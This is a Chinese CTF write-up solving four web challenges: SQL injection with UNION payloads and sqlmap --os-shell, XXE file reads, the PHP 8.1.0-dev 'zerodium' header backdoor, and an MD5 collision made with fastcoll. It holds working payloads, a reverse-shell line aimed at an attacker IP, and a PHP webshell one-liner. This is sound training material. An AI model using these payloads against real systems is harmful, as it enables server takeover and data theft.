第一题,文章管理系统
来自 <天狩CTF竞赛平台>
描述:这是我们的文章管理系统,快来看看有什么漏洞可以拿到FLAG吧?注意:可能有个假FLAG哦
1,首先观察题目网站的结构和特征
这个一个文件管理系统,页面的切换依赖于?id=1这种参数变换。
并且其对于错误的参数有敏感的识别报错,这极大说明了可能具有SQL注入漏洞
2,尝试进行手工SQL注入,首先判断注入类型是整数型还是字符型。输入?id=1' --+ 和?id=1" --+都发生报错,而?id=1 --+ 不报错,说明是整数型注入
3,判断该数据表的字段数,使用order by大法。
?id=1 order by 1,2,3 --+ 判断字段数是否至少有三列。否
?id=1 order by 1,2 --+ 判断字段数是否至少有两列。真
那么就可以知道2<=字段数(int)<3,那么字段就只有两列
4,接下来通过union判断回显点,?id=-1 union select 1,2 --+
正好回显了1,2说明回显点就在我们查询的第一二列上
5,开始进行爆库操作,首先知道数据库名与版本
?id=-1 union select version(),database()--+
6,知道了数据库名:word,再使用group_concat()函数爆出word数据库所有数据表名:
?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
7,知道了数据表名:word,再使用group_concat()函数articles数据表所有字段名:
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name="articles" and table_schema=database()--+
8,知道了列名然后再输出打印其中的数据
?id=-1 union select group_concat(title),group_concat(word) from articles--+
由此成功得到flag:qsnctf{sql+so+easy!!!!} (虽然是假的)
9,逃课打法,payload:?id=1 or 1=1 --+
一样能够出现flag,其根本原因应该和注入点位置有关
原因分析:
构造永真条件
- OR 1=1:1=1恒为真,导致WHERE条件变为id=1 OR true。无论id=1是否存在,整个条件总为真,查询返回所有数据。
SELECT * FROM files WHERE id = 1 OR 1=1 -- (原查询后续内容被注释)
此查询返回files表的所有记录,导致数据泄露。
10,根据题目提示,正确的做法应该使用sqlmap爆出数据库,然后使用--os-shell模块构造出可交互式的shell
爆出所有数据库 sqlmap -u "http://challenge.qsnctf.com:32209/?id=1" -dbs --batch
爆出数据表 sqlmap -u "http://challenge.qsnctf.com:32209/?id=1" -D word --tables --batch
爆出所有字段
最后爆出所有数据 sqlmap -u "http://challenge.qsnctf.com:30887/?id=1" -D word -T articles -C id,title,word --dump --batch
11,已经知道了爆库是行不通的,再使用--os-shell获取靶机shell
sqlmap -u "http://challenge.qsnctf.com:30887/?id=1" --os-shell
这里支持的语言选择第四个默认的PHP,然后就获得了shell
再通过find命令查找flag find / -name "flag"
最后成功读取得到flag{0428ba0e77344c8aaff21cecb2fbf21f}
第二题:PHP的XXE
题目描述:
XXE(XML External Entity)是一种针对XML解析器的攻击技术,也被称为XML外部实体注入攻击。当应用程序解析用户提供的XML输入时,如果没有正确地配置或过滤外部实体,攻击者可以利用这一漏洞执行恶意操作。
XML允许在文档中定义和使用外部实体,这些实体可以从外部资源(如文件、网络URL等)中获取数据。如果应用程序解析了包含恶意外部实体的XML输入,并且未对外部实体进行适当的处理或限制,攻击者可能会读取敏感文件、执行远程代码或进行其他恶意活动
1,一打开网站就是phpinfo()的界面
2,XXE漏洞利用一般使用burpsuite抓请求包,然后在请求包里面构造攻击语句。访问http://challenge.qsnctf.com:32365/simplexml_load_string.php
右键将请求包发送到repeater重放器,然后右键更改请求包的方式为POST,Content-Type更改为xml,然后将构造的payload写入
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xxe [ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <test> <name> &xxe; </name>
</test> |
3,接下来就是命令执行的攻击了,不断通过XXE漏洞对靶机进行信息收集
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xxe [ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///flag"> ]> <test> <name> &xxe; </name>
</test> |
最终得到flag{ea5f420ee48b483a95cf96e269c22271}
第三题:PHP的后门
题目描述:PHP竟然也会有后门这种东西?你知道吗!
1,首先观察题目
那么就需要获取该网站后端语言PHP的版本
2,通过wappalyzer获取到PHP的版本为8.1
3,接下来就是查这个版本的PHP有什么公开的漏洞及其exp。分析发现可以公开利用的漏洞是:
PHP-8.1.0-dev 后门命令执行漏洞
PHP 8.1.0-dev 后门命令执行漏洞是2021年3月被发现的一个高危漏洞,因开发版本中被植入后门代码而引发。攻击者可利用该漏洞通过构造特定的HTTP请求头执行任意命令,甚至接管服务器。以下是该漏洞的综合分析:
1. 漏洞概述
- 背景
PHP 8.1.0-dev 版本在2021年3月28日被植入后门代码,后门以User-Agentt(多一个字母t)为触发点,允许攻击者通过该请求头字段注入任意PHP代码并执行379。该后门虽在短时间内被官方移除,但已暴露的服务器仍可能受影响。 - 原理
后门代码在服务器端解析HTTP请求时,会检查User-Agentt字段是否以字符串zerodium开头。若符合条件,后续内容会被直接作为PHP代码执行,从而实现远程命令注入368。
2. 影响范围
- 受影响的版本
仅限 PHP 8.1.0-dev 开发版本6710。 - 危害
攻击者可执行任意系统命令,如读取敏感文件(/etc/passwd)、写入Webshell、反弹Shell等,直接威胁服务器安全589。
3. 漏洞复现
环境搭建
使用Vulhub提供的Docker环境快速复现:
cd vulhub/php/8.1-backdoor
docker-compose up -d
访问 http://目标IP:8080,若显示“Hello World”则表示环境启动成功4610。
攻击示例
通过Burp Suite或Python脚本发送以下HTTP请求包:
GET / HTTP/1.1 |
- 验证漏洞存在
User-Agentt: zerodiumvar_dump(2*3);
若返回计算结果,则漏洞存在37。 - 执行系统命令
User-Agentt: zerodiumsystem("cat /flag");
读取文件内容58。 - 反弹Shell
User-Agentt: zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/攻击者IP/端口 0>&1'");
通过监听端口获取交互式Shell69。
4. 攻击利用扩展
- 写入Webshell
User-Agentt: zerodiumfile_put_contents('shell.php','<?php eval($_POST["cmd"]);?>'); |
- 生成一句话木马并通过蚁剑等工具连接68。
- 自动化EXP
使用Python脚本批量检测与利用,例如通过requests库动态注入命令912。
5. 修复建议
- 升级PHP版本
立即停止使用PHP 8.1.0-dev开发版,升级至官方稳定版本。 - 补丁与监控
检查服务器是否曾部署受影响版本,并监控异常流量(如包含User-Agentt的请求)710。 - 容器环境管理
使用Vulhub等漏洞复现环境后,及时关闭容器:
docker-compose down |
总结
该漏洞因开发版本中隐蔽的后门代码引发,攻击成本低但危害极大。尽管官方已修复,仍需警惕未升级的测试环境或遗留系统。防御关键在于严格管控开发版本的使用,并加强HTTP请求头的过滤机制7912。
4,那么接下来就使用burpsuite抓请求包,右键将请求包发送到repeater模块,然后写入攻击语句:
User-Agentt:zerodiumsystem("ls /");
5,最后再构造语句读取flag
User-Agentt:zerodiumsystem("cat /flag");
最后得到了flag{aca66b51096c4713b36a92e0d7147949}
第四题:EasyMD5
来自 <天狩CTF竞赛平台>
题目描述:php没有难题
MD5碰撞
MD5碰撞是指两个不同的输入数据经过MD5哈希算法处理后,生成相同的哈希值。这种现象违背了哈希函数“唯一性”的设计原则,意味着攻击者可以故意构造出内容不同但MD5值相同的文件,从而破坏依赖MD5进行数据完整性校验或身份验证的系统。
MD5碰撞的关键点
- MD5算法简介:
- MD5(Message-Digest Algorithm 5)是一种广泛使用的哈希函数,生成128位(16字节)的哈希值,通常表示为32位十六进制字符串。
- 设计初衷是为文件、密码等数据生成唯一“指纹”,用于快速校验数据完整性。
- 碰撞原理:
- 由于MD5的输出长度固定(128位),理论上存在有限的哈希组合(2¹²⁸种),而输入数据无限,因此哈希碰撞必然存在(鸽巢原理)。
- MD5的设计缺陷(如抗碰撞性不足)使得实际构造碰撞成为可能,且成本远低于理论预期。
- 实际攻击案例:
- 2004年:王小云团队首次公开高效MD5碰撞方法,可在数小时内找到碰撞。
- 2008年:研究人员构造出可执行文件的碰撞,例如两个功能不同但MD5相同的程序。
- 2012年:“火焰”病毒利用MD5碰撞伪造微软数字签名,绕过安全检测。
- 选择前缀碰撞攻击:攻击者可自由选择部分输入内容生成碰撞(如TLS证书伪造)。
MD5碰撞的安全风险
- 数据完整性失效:
- 攻击者可替换文件(如软件安装包、合同文档)而不改变其MD5校验值,导致用户无法察觉篡改。
- 数字签名伪造:
- 若签名系统依赖MD5,攻击者可伪造签名证书(如HTTPS中间人攻击)。
- 密码存储漏洞:
- 若数据库用MD5存储密码,碰撞可能导致不同密码被误认为相同,但更常见风险是MD5的快速破解(如彩虹表)。
防御措施
- 弃用MD5:在关键场景(如数字签名、密码存储)改用更安全的算法:
- SHA-2家族(SHA-256、SHA-512)
- SHA-3(Keccak)
- BLAKE2/3
- 加盐(Salting):若必须使用MD5,需结合随机盐值(如密码存储),但建议优先升级算法。
- 多重哈希:对敏感数据叠加多种哈希算法(如SHA-256 + BLAKE3),但需权衡性能。
1,观察题目环境,要求就是生成两个md5值相同的PDF文件就行了,使用工具fastcoll
fastcoll 是一款高效的 MD5 碰撞生成工具,由荷兰埃因霍温理工大学的研究团队开发,能够快速生成两个内容不同但 MD5 哈希值相同的文件。其原理基于王小云团队提出的改进版碰撞算法,可在普通计算机上几秒内完成碰撞生成2710。
基础使用方法
1. 生成碰撞文件
- 命令格式:
fastcoll_v1.0.0.5.exe -p <基础文件路径> -o <输出文件1> <输出文件2>- -p:指定基础文件(作为碰撞前缀)。
- -o:生成的两个碰撞文件路径4710。
- 示例:
fastcoll_v1.0.0.5.exe -p C:\test.txt -o collision1.txt collision2.txt
生成的两个文件 collision1.txt 和 collision2.txt 内容不同但 MD5 相同39。
2. 验证碰撞结果
- 使用系统工具(如 certutil)校验哈希值:
certutil -hashfile collision1.txt MD5
certutil -hashfile collision2.txt MD5
结果会显示相同的 MD5 值,但文件内容可通过二进制编辑器(如 HxD)查看差异47。
进阶应用
1. 生成可执行文件的碰撞
- 示例:
bash
复制
fastcoll_v1.0.0.5.exe -p helloworld.exe -o helloworld1.exe helloworld2.exe
生成的两个 EXE 文件功能不同(如一个打印 "Hello World",另一个打印 "Goodbye World"),但 MD5 值一致710。
2. 生成字符串的 MD5 碰撞
- 步骤:
- 创建基础文本文件(如 a.txt),内容可为空或特定前缀。
- 运行 fastcoll 生成两个碰撞文件(如 msg1.txt 和 msg2.txt)。
- 通过 PHP/Python 脚本读取文件内容并进行 URL 编码,生成不同字符串但相同 MD5 的结果9。
工具下载与源码
- 下载地址:
- 可执行工具: http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
- 源代码: http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5_source.zip 237。
注意事项
- 安全风险:
- MD5 碰撞可能被用于伪造文件、绕过校验或攻击依赖哈希的系统(如数字签名)210。
- 建议仅在实验环境(如虚拟机)中使用,避免非法用途4。
- 替代算法:
- 在正式场景中,应弃用 MD5,改用 SHA-256、SHA-3 或 BLAKE2/3 等抗碰撞性更强的哈希算法710。
典型场景示例
- CTF 题目:解决类似 $a != $b && md5($a) == md5($b) 的挑战,通过 fastcoll 生成碰撞字符串提交9。
- 文件篡改测试:验证系统对 MD5 校验的依赖漏洞,例如上传两个功能不同但哈希相同的文件710
解题非常简单,直接命令生成两个MD5值相同的文件
fastcoll_v1.0.0.5.exe -p 1.pdf -o 2.pdf 3.pdf
flag{51b103224afc43dc9d8bc448f0a0b0e8}